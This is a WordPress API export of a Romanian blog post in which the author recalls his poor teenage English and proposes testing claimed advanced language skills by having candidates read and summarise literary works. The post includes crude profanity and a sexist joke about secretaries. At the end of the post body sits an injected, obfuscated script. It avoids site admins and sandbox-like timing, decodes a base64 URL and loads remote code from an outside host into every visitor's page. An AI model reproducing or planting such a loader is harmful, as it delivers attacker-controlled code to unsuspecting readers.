{"id":4843,"date":"2017-09-01T10:16:44","date_gmt":"2017-09-01T07:16:44","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4843"},"modified":"2025-10-17T19:54:07","modified_gmt":"2025-10-17T16:54:07","slug":"propunere-pentru-imbunatatirea-metodelor-de-testare-a-nivelului-avansat-de-limbi-straine-atunci-cind-o-persoana-pretinde-c-ar-detine-acest-nivel","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/09\/propunere-pentru-imbunatatirea-metodelor-de-testare-a-nivelului-avansat-de-limbi-straine-atunci-cind-o-persoana-pretinde-c-ar-detine-acest-nivel\/","title":{"rendered":"Propunere pentru \u00eembun\u0103t\u0103\u0163irea metodelor de testare a nivelului avansat de &#8220;limbi str\u0103ine&#8221;, atunci c\u00eend o persoan\u0103 pretinde c-ar de\u0163ine acest nivel"},"content":{"rendered":"<div class=\"entry\">\n<p style=\"text-align: right;\"><span style=\"color: #800000;\"><em>Bun titlu. PCR ar fi m\u00eendru de mine.<\/em><\/span><\/p>\n<p><span style=\"text-decoration: underline;\">Partea de jurnal:<\/span><\/p>\n<p>\u00cemi amintesc cu claritate primul meu an de liceu. Eram un copchil cam incompetent \u00een ale englezei, aruncat \u00eentr-o clas\u0103 \u00een care se preda englez\u0103 intensiv, de-am \u015fi \u00eencheiat primul semestru cu media 4 (patru \u00een pula mea!). V\u0103 da\u0163i seama c\u0103 mi-a dat cu <a href=\"https:\/\/en.wikipedia.org\/wiki\/Kernel_panic\">kernel panic<\/a>.<\/p>\n<p>Bun, \u00een atare situa\u0163ii, fiecare face ce \u015ftie mai bine. Omu&#8217; extrovertit, vorb\u0103re\u0163 \u015fi descurc\u0103re\u0163 merge s\u0103 discute cu al\u0163ii, \u015fi \u00eenva\u0163\u0103 astfel. Omu&#8217; agitat se d\u0103 cu capul de pere\u0163i \u015fi-\u015fi pl\u00eenge soarta.<\/p>\n<p>Eu nu. Eu eram \u015foarece de bibliotec\u0103 ((Prin asta \u00een\u0163eleg\u00eend c\u0103 am fost abonat, de-a lungul vie\u0163ii, la mai toate bibliotecile din ora\u015f. Pe r\u00eend, asta a \u00eensemnat: biblioteca pentru copii (p\u00een\u0103 le-am epuizat fondul de carte), biblioteca jude\u0163ean\u0103, biblioteca CFR pentru c\u0103 aveau manuale bune de \u015fah, biblioteca Areopagus pentru c\u0103 aveau multe materiale religioase..)). Prin urmare \u015fi bine-\u00een\u0163eles, confruntat cu abisul ne\u015ftiin\u0163ei \u00eentr-ale englezei, m-am repezit la .. British Library. Pentru c\u0103 da, Timi\u015foara avea \u00eentr-o vreme \u015fi un British Library, care de\u015fi nu era un fully-fledged British Council, totu\u015fi <em>era ceva<\/em>. ((\u015ei da, faptul c\u0103 \u00een 2017 Timi\u015foara nu mai are nici m\u0103car British Library, spune ceva despre ora\u015ful \u0103sta.))<\/p>\n<p>Ei, la aceast\u0103 bibliotec\u0103 am redescoperit c\u0103-s prost. Da&#8217; a\u015fa, prost cu spume. Oamenii puneau la dispozi\u0163ie ziare engleze\u015fti, chestii banale gen The Times (parc\u0103). Le citeam cu mare drag, pricepeam cam 60% din text ((Bine, mie-mi p\u0103rea c\u0103 pricep 90%, da&#8217; privind \u00eenapoi nu era nici pe departe a\u015fa. Pur \u015fi simplu \u00eemi sc\u0103pau \u00een\u0163elesuri.)). Mai o revist\u0103 de fotografie, mai un sait englezesc .. totul p\u0103rea c\u0103-i pe f\u0103ga\u015ful normal. P\u0103rea!<\/p>\n<p>Am vrut, totu\u015fi, s\u0103 fiu &#8220;cu mo\u0163&#8221; \u015fi s\u0103 fac ce f\u0103ceam \u00een rom\u00e2n\u0103: s\u0103 citesc c\u0103r\u0163i, adic\u0103 romane, beletristic\u0103 \u00een general. Periodicele-s faine dar sunt totu\u015fi scurte. Ei, dar aici vine drama: b\u0103i, puneam m\u00eena pe o carte \u015fi-o l\u0103sam din m\u00een\u0103 instant, c\u0103 \u00eemi d\u0103dea iar\u0103\u015fi cu kernel panic.<\/p>\n<p><strong> B\u0103i, priveam la pagin\u0103 \u015fi nu pricepeam dec\u00eet vreo 20% din text<\/strong>, lejer. Bine, \u015fi eu b\u0103eat de\u015ftept, am luat-o direct cu Tolkien, nu cu texte u\u015furele ca pentru \u00eencep\u0103tori. \u015ei d\u0103-i nenicule \u015fi cite\u015fte \u00een pula mea Tolkien cu dic\u0163ionaru&#8217; sub bra\u0163, de fapt cu perfuzia de defini\u0163ii direct \u00een ven\u0103. Era o experien\u0163\u0103 .. cum s\u0103 zic, <em>alien<\/em>. Iar c\u00eend m-am plictisit de Tolkien, am vrut direct Shakespeare. ((Pentru c\u0103 da, eram acela\u015fi arogant care cu un an mai devreme, prin clasa a opta, se \u00eencorda c\u0103 cite\u015fte Kant. Sigur c\u0103 nici din \u0103la n-am \u00een\u0163eles mare lucru, da&#8217; zic ca punct de compara\u0163ie.))<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p><span style=\"text-decoration: underline;\">Partea modern\u0103<\/span><\/p>\n<p>Ce-ar fi s\u0103 aplic\u0103m standardul \u0103sta \u015fi-n testele de limb\u0103? Literatura este, p\u00een\u0103 una-alta, regina la capitolul &#8220;exprimare \u00een scris&#8221;. Nu g\u0103se\u015fti mare complexitate \u00eentr-o banal\u0103 pagin\u0103 de ziar.<\/p>\n<p>Deci:<\/p>\n<p>Vrea omu&#8217; s\u0103 pretind\u0103 c\u0103 \u015ftie englez\u0103. Ohahah, glum\u0103 bun\u0103 musiu, sigur c\u0103 v\u0103 credem. Dar prima dat\u0103 citim \u015fi conspect\u0103m ni\u015fte Mark Twain \u00een original, vreo 10 paragrafe din Prin\u0163 \u015fi cer\u015fetor. Sau din Frank Herbert, da&#8217; cartea a cincea din seria Dune, c\u0103 poate pe prima o fi citit-o omul. Sau chiar ni\u015fte Kurt Vonnegut, de ce nu. Se pot g\u0103si mul\u0163i scriitori faini. Bun? Citim 10 paragrafe, \u015fi apoi test: ai \u00een\u0163eles ce-o zis \u0103la acolo? Ia zi-mi sinonime pentru alea 10-15 cuvinte mai dificile din text. Sau m\u0103car tradu-le, poftim.<\/p>\n<p>A, c\u0103 omul &#8220;<em>nu trebuie s\u0103 \u015ftie englez\u0103 la a\u015fa nivel<\/em>&#8220;, nici la nivel personal nici ca angajat. P\u0103i bine, da&#8217; atunci de ce pretindem? Omul care nu poate citi \u015fi sumariza o buc\u0103\u0163ic\u0103 din Fear and Loathing nu-i de fapt avansat. N-are cum. O fi av\u00eend excelente abilit\u0103\u0163i de comunicare, da&#8217; \u00een scris e pleazn\u0103. Nu-i problem\u0103, se poate angaja \u015fi a\u015fa, da&#8217; m\u0103car afl\u0103 \u015fi omul c\u0103 de fapt e maxim la nivel mediu. Asta-i tot. Nu mai pretindem minciuni cum c\u0103 &#8220;avansat&#8221;. Avansat ca furtuna din paharu&#8217; cu ap\u0103.<\/p>\n<p>Vrea omu&#8217; s\u0103 pretind\u0103 c\u0103 el \u015ftie limba rom\u00e2n\u0103. Foarte bine, i se d\u0103 un text de C\u0103rt\u0103rescu, de citit \u015fi conspectat. A\u015fa, minim 30 de pagini de Orbitor, ca s\u0103 fie treaba oabl\u0103. De ce C\u0103rt\u0103rescu? C\u0103 <em>folose\u015fte<\/em> limba, de-aia. \u00cei d\u0103 bice, ea s\u0103raca geme, o canone\u015fte monstrul de scriitor \u015fi-o trage de sensuri \u015fi \u00eei izbe\u015fte cuvintele unele de altele p\u00een\u0103 ies sc\u00eentei.<\/p>\n<p>A, dup\u0103 care se d\u0103 \u015fi-un test de gramatic\u0103, \u015fi anume s\u0103 transcrie candidatul un text dup\u0103 dictare. \u0102sta ar fi un excelent test pentru secretare, apropo: dac\u0103 nu \u015ftiu s\u0103 scrie dup\u0103 dictare, curat, gramatical, <em>de ce a\u0163i avea \u00eencredere c\u0103 vor \u015fti s\u0103 scrie corect un c\u00eecat de e-mail<\/em>? Iar dac\u0103 nu pot citi C\u0103rt\u0103rescu, cam ce complexitate mental\u0103 crede\u0163i c\u0103 au? Bine, depinde \u015fi de secretar\u0103 acuma, c\u0103 dac\u0103-i secretara directorului de la Fabrica de \u00cempachetat Sarmale, o fi preferabil s\u0103 \u015ftie mai degrab\u0103 s\u0103 fac\u0103 bine cafea \u015fi fela\u0163ie, nu neap\u0103rat \u00een ordinea asta. Nu zic nu. Totu\u015fi, mai e nevoie \u00een \u0163ara asta \u015fi de secretare la multina\u0163ionale, de fete de PR, posturi unde te love\u015fti de scris \u015fi-\u0163i d\u0103 cu virgul\u0103 dac\u0103 nu e\u015fti preg\u0103tit.<\/p>\n<p>Idem, fix idem, franceza sau germana sau orice alt\u0103 limb\u0103. \u00cen zona Banatului toat\u0103 lumea \u015ftie german\u0103, da&#8217; de fapt nu chiar. \u015etiu oamenii ce-or rupt de pe la rude, p\u00een\u0103 \u00eei rogi s\u0103-\u0163i traduc\u0103 documentul de Termeni \u015fi condi\u0163ii de pe amazon.de. Idem cum \u015ftiu \u015fi clujenii maghiara, sau or\u0103denii: \u015ftiu s\u0103 k\u00f6sz\u00f6n\u00f6m sz\u00e9pen, da&#8217; s\u0103 nu-i pui acuma s\u0103-\u0163i citeasc\u0103 L\u00e1szl\u00f3 Krasznahorkai \u00een original.<\/p>\n<p>Cam asta.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Bun titlu. PCR ar fi m\u00eendru de mine. Partea de jurnal: \u00cemi amintesc cu claritate primul meu an de liceu. Eram un copchil cam incompetent \u00een ale englezei, aruncat \u00eentr-o clas\u0103 \u00een care se preda englez\u0103 intensiv, de-am \u015fi \u00eencheiat primul semestru cu media 4 (patru \u00een pula mea!). V\u0103 da\u0163i seama c\u0103 mi-a dat &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[51,41],"tags":[],"class_list":{"0":"post-4843","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-limbi-si-limbaje","7":"category-societate-si-dezbateri","8":"anons"},"_links":{"self":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4843","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4843"}],"version-history":[{"count":7,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4843\/revisions"}],"predecessor-version":[{"id":5036,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4843\/revisions\/5036"}],"wp:attachment":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4843"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4843"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4843"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}